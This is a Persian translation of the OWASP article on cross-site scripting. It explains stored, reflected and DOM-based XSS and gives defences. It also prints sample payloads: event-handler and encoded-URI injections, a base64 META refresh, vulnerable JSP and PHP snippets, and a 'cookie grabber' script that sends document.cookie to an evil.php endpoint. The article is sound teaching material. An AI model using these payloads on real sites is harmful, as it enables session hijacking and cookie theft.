به نام خدا

حمله XSS

OWASP Attack Category: Cross-site Scripting (XSS)

یادآوری

حمله های XSS نوعی از تزریق هستند که به وسیله ی آن اسکریپت های مخرب را درون یک وب سایت مورد اعتماد اینجکت می کنیم. حمله های XSS زمانی اتفاق می افتد که هکر از یک برنامه ی وب برای ارسال کدهای مخربش که عموما در شکل اسکریپت های سمت مرورگر است به کاربر نهایی استفاده کند. رخنه هایی که باعث می شوند این حمله موفقیت آمیز باشد، بسیار شایع است و این آسیب پذیری در هر برنامه ی تحت وبی که از ورودی های کاربر در خروجی و بدون اعتبارسنجی یا کدگذاری استفاده می کند، وجود دارد.

هکر با استفاده از XSS جهت ارسال اسکریپت های مخرب به قربانی بهره می برد. مرورگرِ کاربر نهایی، هیچ راهی برای تشخیص نامطمئن بودن اسکریپت نداشته و آن را اجرا خواهد نمود. به دلیل اینکه مرورگر فرض را بر این می گذارد که اسکریپت ها از منبع مورد اعتماد می آیند و به اسکریپت مخرب اجازه ی دسترسی به تمام داده هایی که دسترسی به آن توسط مرورگر برای یک سایت امکان پذیر است را می دهد. این اطلاعات حساس شامل کوکی ها، tokenهای مربوط به یک نشست یا session و ... می شوند. به وسیله ی این اسکریپت ها حتی می توان محتوای یک صفحه ی HTML را دوباره نوشت. برای مشاهده جزییات بیشتر به مطلب «انواع روش های XSS» مراجعه شود.

توضیحات

حمله ی XSS زمانی اتفاق می افتد که:

۱- داده هایی که از یک مبداء نامطمئن می آیند وارد برنامه ی تحت وب و در اکثر مواقع وارد یک درخواست وب (request) می شوند.

۲- داده هایی که در محتوای پویا و داینامیک وجود دارند، بدون اعتبارسنجی به کاربر ارسال می شود.

اکثر محتوای مخرب که به مرورگر وب ارسال می شود در شکل و قالب جاوا اسکریپت است. اما ممکن است شامل HTML، فایل های فلش یا هر نوع کد دیگری که توسط مرورگر اجرا شود، نیز باشد. انواع حملات مبتنی بر XSS بسیار فراوان اند اما در اکثر مواقع شامل جابجایی داده های حساس و خصوصی مثل کوکی ها یا سایر اطلاعات مربوط به یک نشست به هکر، ریدایرکت کردن قربانی به صفحه ای که توسط هکر کنترل می شود، یا اجرای سایر کارهای مخرب روی ماشین قربانی و در ظاهر سایت آسیب پذیر، می شوند.

حمله های XSS از نوع ذخیره شده (Stored) و بازتابی (Reflected)

حمله های XSS به صورت عمومی به دو دسته ی Stored و Reflected تقسیم می شود. اما نوع سومی از آن هم وجود دارد که کمتر شناخته شده است و آن را با نام DOM Based XSS می شناسیم که در ادامه به آن خواهیم پرداخت.

حمله ی XSS از نوع ذخیره شده (Stored)

حمله ی Stored زمانی است که یک اسکریپت به صورت پایدار روی سرور هدف ذخیره می شود. این ذخیره سازی روی دیتابیس، پست های مربوط به یک فروم، لاگ بازدیدکنندگان، فیلد مربوط به نظرها و ... انجام می شود. زمانی که قربانی درخواستی (request) را به سرور ارسال می کند و سرور پاسخ را از قسمت ذخیره شده به کاربر می دهد، اسکریپت مخرب روی سیستم قربانی اجرا می شود. XSS از نوع ذخیره شده با نام های پایدار یا persistent و Type-I نیز شناخته می شوند.

حمله XSS از نوع بازتابی (Reflected)

حمله ی Reflected زمانی رخ می دهد که اسکریپت اینجکت شده توسط وب سرور بازگردانده و بازتاب شود. این بازتاب می تواند در قالب پیام های خطا، نتایج جستجو یا هر پاسخ (response) دیگری باشد. این پاسخ شامل تمام و یا قسمتی از ورودی ارسال شده به سرور در زمان درخواست (request) است. حمله ی Reflected به وسیله ی راه های

دیگری مثل یک ایمیل یا روی سایت های دیگر بر قربانی انجام می شود. زمانی که کاربر را به گونه ای فریب دهیم که روی لینک آلوده کلیک کند، حمله با موفقیت انجام شده و داده ها به سمت هکر ارسال می شود و یا ممکن است کاربر به سایت آلوده ارجاع داده شود و در آن سایت، کدهایی از سایت آسیب پذیر موجود باشد که بازتاب یا همان reflect حمله، به مرورگر کاربر بازگردانده شود. مرورگر نیز بدون هیچ مشکلی کد را اجرا می کند. چرا که کدها از سروری «مورد اعتماد» آمده است. حمله ی XSS از نوع بازتابی با نام های ناپایدار یا همان Non-Persistent و Type-II نیز شناخته می شود.

انواع دیگری از آسیب پذیری XSS

علاوه بر این موارد، نوع دیگری از XSS با نام DOM Based XSS به وسیله ی Amit Klein و در سال ۲۰۰۵ میلادی معرفی شد. (در این لینک) نوع دیگری از XSS که تمام موارد را شامل می شود، دسته بندی آن در ماتریکسی است که در آن Reflected در مقابل Stored و نوع Server در مقابل Client قرار دارد. بر مبنای این تعریف DOM Based XSS به عنوان زیر مجموعه ی Client XSS در نظر گرفته می شود.

نتایج حمله ی XSS

نتیجه ی حمله ی XSS صرف نظر از نوع آن (Stored, Reflected, DOM Based) یکسان و تفاوت آن ها صرفا در چگونگی رسیدن آن به سرور است. این فکر که سایت های «صرفا خواندنی» و «حالت اخباری» در برابر حملات جدی و تاثیرگذار XSS از نوع بازتابی در امان اند، اشتباه است. حمله ی XSS باعث انواع مختلفی از مشکلات برای کاربر نهایی می شود و بازه ی این مشکلات از اذیت و آزارهای معمولی تا مشکلات کاملا جدی در حساب های کاربر می شود.
بدترین نوع حمله ی XSS این است که به وسیله ی آن کوکی های نشست کاربر افشاء می شود و به وسیله ی آن هکر می تواند نشست را به سرقت برده (hijack) و کنترل اکانت را در دست گیرد. انواع خسارات دیگری که این حمله به بار می آورد عبارتست از: افشاسازی فایل های کاربر، نصب برنامه های تروجان، ریدایرکت کردن کاربر به سایت ها و یا صفحات دیگر و دستکاری محتوایی که به کاربر ارائه می شود.

تشخیص آسیب پذیری

تشخیص رخنه ی XSS و حذف آن از برنامه های تحت وب، کار سختی است. بهترین راه برای پیدا کردن این رخنه این است که روی تمام کدها، بازبینی امنیتی صورت پذیرد و تمام قسمت هایی که ورودی های مربوط به درخواست یا همان request در HTTP به نحوی در خروجی ظاهر می شوند، مورد بررسی قرار گیرد. توجه داشته باشید که انواع مختلفی از تگ های HTTP می توانند جهت انتقال کدهای جاوا اسکریپت مخرب مورد استفاده قرار گیرند. ابزارهایی

مثل Nessu,Nikto,... کار پویش و اسکن وب سایت های آسیب پذیری را انجام می دهند اما باید توجه داشت که به وسیله ی این ابزارها تنها می توان بخش کوچکی را پیدا کرد و ممکن است یک سایت آسیب پذیر باشد اما آن را پیدا نکنند. اگر یک بخش از سایتی آسیب پذیر بود، به احتمال زیاد آسیب پذیری های دیگری هم دارد.

چگونه از خودمان محافظت کنیم؟

راه های دفاعی به صورت مفصل در خلاصه های مربوط به راه های مقابله با XSS در OWASP آمده است. پشتیبانی از HTTP TRACE را روی تمام وب سرورها غیرفعال کنید. حتی زمانی که document.cookie غیرفعال باشد و در سمت کلاینت هم پشتیبانی نشود، باز هم هکر با استفاده از جاوا اسکریپت می تواند کوکی ها را به سرقت ببرد. این حمله زمانی اتفاق می افتد که یک کاربر اسکریپتی آلوده را در یک پست از فروم ثبت کند و زمانی که کاربر دیگری روی لینک کلیک می کند، یک فراخوانی غیرهمزمان جهت بدست آوردن اطلاعات مربوط به کوکی از سرور انجام می شود و سپس تمام آن ها به یک سرور آلوده که هکر تهیه کرده ارسال می شوند و از این طریق هکر، کوکی ها را به سرقت می برد. (hijack) بنابراین راهی که تا حدی جلوی این کار را می گیرد، حذف کردن پشتیبانی از HTTP TRACE از تمام وب سرورهاست.

پروژه ی ESAPI از اواسپ مجموعه ای از کامپوننت های امنیتی قابل استفاده را در زبان های مختلف تهیه کرده است که شامل روش های اعتبارسنجی و escapeکردن، برای جلوگیری از دستکاری پارامترها (tampering) و تزریق حمله های XSS می شود. علاوه بر آن، پروژه ی WebGoat از OWASP نیز در خصوص کدگذاری داده ها و XSS در برنامه ها توضیحاتی آورده است.

انواع Syntaxهای XSS

XSS با استفاده از اسکریپت درون Attributeها

برای حمله ی XSS ممکن است نیازی به استفاده از تگ <script></script> نباشد. تگ های دیگری نیز وجود دارند که دقیقا همین کار را انجام می دهند؛ برای مثال:

```
<body onload=alert('test1')>
```

یا attribute های دیگری نظیر onmouseover, onerror:

```
<b onmouseover=alert('Wufff!')>click me!</b>
```

```
img src="http://url.to.file.which/not.exist" >
<;onerror=alert(document.cookie)
```

XSS با استفاده از اسکریپت همراه URIهای کدگذاری شده

زمانی که بخواهیم در برابر فیلترهای برنامه های تحت وب مخفی بمانیم، ممکن است از کارکترهای کد شده (encode string) استفاده کنیم. برای مثال a=&#X41 و استفاده از تگ IMG:

```
<IMG SRC=j&#X41vascript:alert('test2')>
```

انواع مختلفی از کدینگ UTF-8 وجود دارد که ممکن است امکانات بیشتری را در اختیار هکر قرار دهد.

XSS با استفاده از کدگذاری کدها (Code encoding)

می توانیم اسکریپت خود را به base64 تبدیل کرده و از آن در تگ META استفاده کنیم. با این کار از دست ()alert راحت می شویم. برای اطلاعات بیشتر در خصوص این متد RFC 2397 را مطالعه فرمایید:

```
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwv
c2NyaXB0Pg">
```

شما می توانید این مثال و سایر آن ها را در XSS Filter Evasion Cheat Sheet که دایره المعارف کاملی از انواع syntaxهای XSS است، بیابید.

نمونه ها

امکان وقوع حملات Cross-site Scripting در هر جایی که یک کاربر بدخواه بتواند داده های اعتبارسنجی نشده را به یک وب سایت مورد اعتماد ارسال کند و این کار توسط سایر کاربران معتبر نیز قابل انجام باشد، امکان پذیر است.

مثال ۱

کد JSP در زیر ID, eid مربوط به کارمندان را از یک درخواست HTTP می خواند و آن را به کاربر نمایش می دهد:

```
<% String eid = request.getParameter("eid"); %>

...

Employee ID: <%= eid %>
```

کد موجود در این مثال زمانی درست کار می کند که eid صرفا شامل حروف الفبا و اعداد باشد. اگر مقدار eid شامل متاکارکترها یا سورس کد باشد، مقدار آن به وسیله ی مرورگر وب اجرا می شود و به عنوان پاسخ http نمایش داده می شود.

در نگاه اول ممکن است این مورد به عنوان یک آسیب پذیری به چشم نیاید. اما واقعا چه کسی URLای شامل کدهای مخرب را در کامپیوتر خودش اجرا می کند؟ مشکل واقعی از آن جایی به وجود می آید که هکر یک URL مخرب می سازد و با استفاده از ایمیل یا حقه های مهندسی اجتماعی، باعث می شود تا قربانی روی آن کلیک کند. زمانی که قربانی روی لینک کلیک می کند، محتوای مخرب بدون اینکه قربانی از آن خبر داشته باشد از سایت آسیب پذیر به کامپیوترش بازتاب (Reflect) می شود. این شیوه ی اکسپلوییت با نام XSS بازتابی شناخته می شود.

مثال ۲

قطعه کد JSP در زیر روی دیتابیس یک کوئری اجرا می کند که به آن ID کارمندان را می دهیم و نام کارمندد را بر می گرداند:

```
<%...
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where
id="+eid);
 if (rs != null) {
  rs.next();
  String name = rs.getString("name");
%>

Employee Name: <%= name %>
```

در مثال اول این کد تا زمانی که مقدار نام کارمند، به شکل درستی باشد به خوبی کار می کند اما در صورتی که اینگونه نباشد، هیچ راهی برای پیشگیری در برابر اکسپلوییت وجود ندارد.

خطر این کد به دلیل این که مقدار نام کارمند از دیتابیس خوانده می شود و محتوای آن قبل از نمایش توسط برنامه مدیریت می شود؛ کمتر است. در هر صورت اگر مقدار نام کارمند توسط داده های هکر تکمیل شود، دیتابیس نیز صرفا

به عنوان کانالی برای اجرای کدهای مخرب عمل خواهد نمود. ذخیره ی داده ها بدون اعتبارسنجی مناسب در دیتابیس، به هکر کمک می کند تا کدهای مخرب خود را در مرورگرِ قربانی اجرا کند. این نوع از اکسپلوییت با نام XSS ذخیره شده (stored) شناخته می شود که بسیار هوشمندانه و دسیسه آمیز است؛ چرا که حمله به صورت غیر مستقیم بوده و شناسایی آن بسیار سخت تر خواهد بود و همین ویژگی باعث افزایش تعداد کاربران تحت این حمله می شود. XSS ذخیره شده زمانی رخ می دهد که برنامه ی تحت وب، برای بازدیدکنندگان این امکان را فراهم سازد که داده ها را از طریق فرم های وب وارد نمایند. هکر، کدهای جاوا اسکریپت را به عنوان ورودی قرار می دهد که نتیجه ی آن، اجرای کدهای مخرب توسط تمام بازدیدکنندگان آن صفحه خواهد بود.

مثالی از آسیب پذیری XSS زمانی است که داده های بدون اعتبارسنجی در پاسخ ها یا همان responseهای HTTP وجود داشته باشد. در ادامه سه روشی که ممکن است باعث تحت تأثیر قرار گرفتن قربانی از حمله XSS شود را عنوان کرده ایم:

در مثال اول، داده ها به صورت مستقیم از درخواست ها یا همان requestهای HTTP تولید شده و در پاسخ HTTP بازتاب (reflect) می شود. XSS بازتابی زمانی رخ می دهد که هکر باعث شود تا قربانی محتوایی خطرناک را به برنامه ی تحت وب عرضه کند که نتیجه ی آن بازتاب داده ها به کاربر و اجرای آن توسط مرورگر خواهد بود. رایج ترین روش این است که URLای شامل پارامترهای مخرب در قالب یک ایمیل یا در یک جای عمومی به صورت مستقیم به قربانی داده می شود. URLها با روش های مختلف ماحی گیری یا همان phishing ترکیب می شوند و به وسیله ی آن، هکر، قربانی را متقاعد می سازد تا روی URLای که مربوط به سایت آسیب پذیر است، کلیک کند. بعد از بازتابِ محتوایِ مخربِ ساخته شده توسط هکر به قربانی، ابتدا این محتوا اجرا شده و در ادامه اطلاعات خصوصی شامل کوکی ها که ممکن است شامل اطلاعات نشست نیز باشد، از ماشین قربانی به هکر ارسال می شود. البته با این روش می توان سایر اقدامات مخرب دیگر را نیز انجام داد.

در مثال دوم، برنامه داده های خطرناک را در دیتابیس یا جاهای دیگری که برای ذخیره سازی مورد اعتماد است، ذخیره کرده و سپس این داده های خطرناک در قالب محتوای داینامیک و پویا به برنامه بازگردانده می شوند. XSS ذخیره شده زمانی رخ می دهد که هکر محتوای خطرناکی را در محل ذخیره سازی تزریق کند و این داده ها بعدا توسط سایر کاربران و به عنوان محتوایی پویا خوانده شود. از دیدگاه هکر، محلی برای تزریق محتوای مخرب مناسب است که به کاربران مورد نظر هکر نمایش داده شود. این کاربران شامل افرادی می شوند که دسترسی آن ها بالاست. (privilege) و یا با داده های حساس در تعامل اند. در صورتی که این محتوای مخرب توسط کاربران اجرا شود، هکر می تواند کارهایی که نیازمند سطح امتیاز بالایی است را از طرف قربانی انجام داده و یا به داده های حساسی که متعلق به قربانی است دسترسی پیدا کند.

برنامه، سورس های بیرونی را در دیتابیس یا مکان های دیگری که برای ذخیره سازی مورد اعتماد است، ذخیره می کن. این داده های خطرناک در قالب محتوای داینامیک و پویا و به عنوان داده های مورد اعتماد به برنامه بازگردانده می شوند.

نمونه هایی از حمله

مثال ۱: دریافت کننده ی کوکی Cookie Grabber

در این برنامه، داده های ورودی اعتبارسنجی نمی وشند و هکر به راحتی می تواند کوکی ها را از یک کاربری که احراز هویت شده به سرقت ببرد. تمام هکرها باید قطعه کد زیر را در هرجایی که می توانند (مثل پست های فروم، پیام های خصوصی یا پروفایل کاربران) قرار دهند:

```
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>
```

کد بالا، کوکی را ابتدا escape کرده و سپس آن را به فایل evil.php و به وسیله ی متغیر cakemonster ارسال می کند. (بر اساس استاندارد RFC تمام داده ها قبل از ارسال با پروتکل HTTP و متد GET می بایست escape شوند.) در مرحله ی بعد، هکر نتیجه ی ذخیره شده در evil.php را چک و از آن استفاده می کند. (ذخیره کننده ی کوکی اسکریپتی است که برای نوشتن کوکی در فایل استفاده می شود.)

نمونه ای از صفحه ی خطا Error Page

فرض کنید، صفحه ای داریم که در صورت پیدا نشدن آدرس URL در ورودی، آن را به کاربر نمایش می دهد. همان صفحه ای که با عنوان error page 404 می شناسیم. در این مثال از کد زیر برای آگاه ساختن کاربر در خصوص اینکه آدرس وارد شده در مرورگر، وجود ندارد، استفاده کرده ایم:

```
<html>
<body>
<? php
print "Not found: " . urldecode($_SERVER["REQUEST_URI"]);
?>
</body>
</html>
```

ببینیم که چگونه کار می کند:

```
http://testsite.test/file_which_not_exist
```

پاسخ به شکل زیر خواهد بود:

```
Not found: /file_which_not_exist
```

حالا صفحه ی مربوط به خطا یا همان error page را به شکل زیر مجبور می کنیم تا کد جاوا اسکریپت ما را اجرا نماید:

```
http://testsite.test/<script>alert("TEST");</script>
```

و خروجی به شکل زیر خواهد بود:

```
Not found: / (but with JavaScript code
<script>alert("TEST");</script>)
```

ما با موفقیت توانستیم کد مورد نظر خود را تزریق کنیم. XSS چه کاربردی دارد؟ در جواب باید گفت که یکی از کاربردهای آن، دزدی کوکی نشست کاربر است.

حملات مشابه

XSS Attacks

Category:Injection Attack

Invoking untrusted mobile code

Cross Site History Manipulation (XSHM)

آسیب پذیری های مشابه

Category:Input Validation Vulnerability

Cross Site Scripting Flaw

Types of Cross-Site Scripting

منابع

OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet

OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation

OWASP Testing Guide, Testing_for_Reflected_Cross_site_scripting_(OWASP-DV-001)

OWASP Testing Guide, Testing_for_Stored_Cross_site_scripting_(OWASP-DV-002)

OWASP Testing Guide, Testing_for_DOM-based_Cross_site_scripting_(OWASP-DV-003)

OWASP's How to Build an HTTP Request Validation Engine (J2EE validation using OWASP's Stinger)

Google Code Best Practice Guide: http://code.google.com/p/doctype/wiki/ArticlesXSS

The Cross Site Scripting FAQ: http://www.cgisecurity.com/articles/xss-faq.shtml

OWASP XSS Filter Evasion Cheat Sheet

CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html

CERT "Understanding Malicious Content Mitigation" http://www.cert.org/tech_tips/malicious_code_mitigation.html

Understanding the cause and effect of CSS Vulnerabilities: http://www.technicalinfo.net/papers/CSS.html

XSSed - Cross-Site Scripting (XSS) Information and Mirror Archive of Vulnerable Websites http://www.xssed.com

تاریخ ساخت: April 22, 2014 یا ۲ اردیبهشت ۱۳۹۳

تاریخ تحقیق: August 16, 2014 یا ۲۵ مرداد ۱۳۹۳

لینک مقاله: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

/* تصحیح این مقاله، چه در ترجمه و چه در مباحث علمی ، توسط شما دوستان باعث خوشحالی خواهد بود. لطفا آن را با tamadonEH@gmail.com مطرح نمایید.*/

برای مشاهده لیست مقالات کار شده توسط گروه ما به لینک زیر مراجعه فرمایید

https://github.com/tamadonEH/list/blob/master/list.md